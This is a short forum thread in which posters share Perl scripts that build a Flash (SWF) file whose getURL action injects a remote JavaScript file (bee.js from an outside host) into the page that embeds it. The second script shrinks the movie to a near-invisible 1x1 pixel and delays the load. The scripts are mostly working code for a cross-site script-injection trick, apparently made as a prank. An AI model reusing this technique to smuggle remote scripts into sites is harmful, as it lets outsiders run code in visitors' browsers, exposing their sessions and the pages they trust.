so i thought i'd be clever and make a shockwave flash thingy (using the SWF::Builder perl module) to embed some javascript in a page... but it's getURL is opening the javascript: URL in a new window. here's the perl script i'm using to create the flash file:
#!/usr/bin/perl
use SWF::Builder;
my $movie = SWF::Builder->new;
my $as = $movie->init_action;
$as->compile('getURL("javascript:document.write(%27<script src=%22http://wakaba.c3.cx/bee.js%22></script>%27)","_self")');
$movie->save("bee.swf");
Any solution yet?
>>2
this is what i ended up doing:
#!/usr/bin/perl
use SWF::Builder;
my $movie = SWF::Builder->new(FrameRate=>1,FrameSize=>[0,0,1,1],BackgroundColor=>'ffffff');
my $as = $movie->init_action;
$as->compile('getURL("javascript:(function(){setTimeout(%27var s=document.createElement(%22script%22);s.src=%22http://wakaba.c3.cx/bee.js%22;document.body.appendChild(s);%27,500);})()","_self","GET")');
$movie->save("bee.swf");
... the last time i touched this code was january 9, 2007.